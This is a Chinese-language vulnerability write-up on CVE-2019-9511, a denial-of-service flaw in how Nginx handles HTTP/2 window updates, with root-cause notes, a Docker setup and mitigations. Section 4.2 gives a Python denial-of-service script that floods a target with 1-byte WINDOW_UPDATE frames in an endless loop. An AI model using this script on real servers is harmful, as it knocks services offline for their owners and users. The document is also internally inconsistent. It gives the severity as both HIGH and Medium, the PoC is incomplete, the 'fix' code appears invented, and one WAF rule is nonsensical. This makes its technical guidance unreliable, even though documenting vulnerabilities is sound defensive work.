一、漏洞简介¶
1.1 漏洞背景¶
HTTP/2 协议引入了流量控制机制,通过 WINDOW_UPDATE 帧来管理数据流。2019 年,Netflix 安全团队发现多个 HTTP/2 实现在处理窗口更新时存在资源消耗问题。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2019-9511 |
| 危害等级 | HIGH / 7.5 |
| 漏洞类型 | 漏洞 2: - HTTP/2 窗口更新 CPU 过度使用 |
| 披露时间 | 2019-08-13 |
| 影响组件 | Nginx 重点安全 |
- CVE 编号:CVE-2019-9511
- 危害等级:中等(Medium)
- CVSS 评分:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5)
- 漏洞类型:资源耗尽(DoS)
- 潜在影响:导致 CPU 资源过度消耗,服务拒绝
补充核验信息:公开时间:2019-08-13;NVD 评分:7.5(HIGH);CWE:CWE-400。
二、影响范围¶
2.1 受影响的版本¶
- Nginx 1.9.5 - 1.17.2(支持 HTTP/2 的版本)
2.2 不受影响的版本¶
- Nginx 1.17.3 及以上
- Nginx 1.16.1 及以上
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Nginx 编译时启用了
ngx_http_v2_module模块(默认不编译) - 配置文件中使用了
listen 443 ssl http2;指令 - 攻击者能够建立 HTTP/2 连接
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
攻击者通过以下步骤实施攻击: 1. 建立多个 HTTP/2 流(stream) 2. 请求大量数据 3. 通过微小的窗口更新(1 字节)强制服务器以极低效率发送数据 4. 服务器在发送每个字节时都需要处理流控机制,导致 CPU 过度使用
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码位置:src/http/v2/ngx_http_v2_filter_module.c
问题根因: HTTP/2 的流量控制在处理微小窗口更新时缺乏优化。当窗口大小被设置为 1 字节时,Nginx 需要为每个字节的数据发送执行完整的流控逻辑,包括: - 检查窗口大小 - 分配内存缓冲区 - 构建 HTTP/2 帧 - 发送数据 - 等待窗口更新
关键代码逻辑:
/* 简化的流控逻辑 */
while (data_to_send > 0) {
if (window_size == 0) {
wait_for_window_update(); /* 等待窗口更新 */
}
send_size = min(window_size, data_to_send);
send_data(send_size); /* 发送数据 */
window_size -= send_size;
}
修复方案: 添加最小窗口大小限制,拒绝过小的窗口更新:
#define NGX_HTTP_V2_MAX_WINDOW 2147483647
#define NGX_HTTP_V2_MIN_WINDOW 65535 /* 最小窗口大小 */
if (window_size < NGX_HTTP_V2_MIN_WINDOW) {
return NGX_HTTP_V2_ERROR_FLOW_CONTROL;
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 使用 Docker
FROM nginx:1.17.2
COPY nginx.conf /etc/nginx/nginx.conf
# nginx.conf
# server {
# listen 443 ssl http2;
# ssl_certificate /path/to/cert.pem;
# ssl_certificate_key /path/to/key.pem;
# ...
# }
4.2 PoC 演示与测试过程¶
#!/usr/bin/env python3
# CVE-2019-9511 PoC - Window Update Attack
import socket
import ssl
import struct
def send_http2_settings(sock):
"""发送 HTTP/2 SETTINGS 帧"""
# SETTINGS 帧(空设置)
frame = b'\x00\x00\x00\x04\x00\x00\x00\x00\x00'
sock.send(frame)
def send_window_update(sock, stream_id, increment):
"""发送 WINDOW_UPDATE 帧"""
frame = struct.pack('>I', increment) # Window Size Increment
header = struct.pack('>HBL', 4, 0x08, stream_id) # Length(4), Flags, Stream ID
sock.send(header + frame)
def attack():
"""执行攻击"""
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = socket.create_connection(('target-server', 443))
ssock = context.wrap_socket(sock, server_hostname='target-server')
# 发送 HTTP/2 连接前奏
ssock.send(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n')
# 发送 SETTINGS
send_http2_settings(ssock)
# 创建多个流并请求大数据
for i in range(100):
# 创建流(HEADERS 帧)
headers = b':path: /large-file\r\n:method: GET\r\n'
# ... 构造完整的 HEADERS 帧
ssock.send(headers_frame)
# 发送微小的窗口更新(1 字节)
while True:
for i in range(100):
send_window_update(ssock, i, 1) # 每次只允许发送 1 字节
# 这将导致服务器 CPU 过度使用
if __name__ == '__main__':
attack()
监控 CPU 使用:
# 在攻击期间监控 Nginx CPU 使用
top -p $(pgrep nginx)
# 或
pidstat -p $(pgrep nginx) 1
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
# 升级到安全版本
# 对于稳定版分支
yum update nginx # RHEL/CentOS
apt-get update && apt-get upgrade nginx # Debian/Ubuntu
# 或从源码编译
wget http://nginx.org/download/nginx-1.17.3.tar.gz
tar -xzf nginx-1.17.3.tar.gz
cd nginx-1.17.3
./configure --with-http_v2_module && make && make upgrade
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
-
限制 HTTP/2 并发连接数:
nginx http { http2_max_concurrent_streams 16; # 降低并发流数 http2_recv_timeout 20s; } -
限制客户端请求速率:
nginx http { limit_req_zone $binary_remote_addr zone=http2_limit:10m rate=10r/s; limit_req zone=http2_limit burst=20 nodelay; } -
使用 WAF 规则:
# ModSecurity 规则示例 SecRule REQUEST_HEADERS:User-Agent "@contains http2" \ "id:100001,phase:1,deny,status:429,msg:'HTTP/2 abuse detected'" -
临时禁用 HTTP/2(如果业务允许):
nginx server { listen 443 ssl; # 移除 http2 选项 # listen 443 ssl http2; }
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Nginx 安全公告:http://mailman.nginx.org/pipermail/nginx-announce/2019/000249.html
- Netflix 安全公告:https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md
6.2 其他技术参考资料¶
- NVD 数据库:https://nvd.nist.gov/vuln/detail/CVE-2019-9511
- CERT/CC VU#605641:https://kb.cert.org/vuls/id/605641/
- RFC 7540(HTTP/2):https://tools.ietf.org/html/rfc7540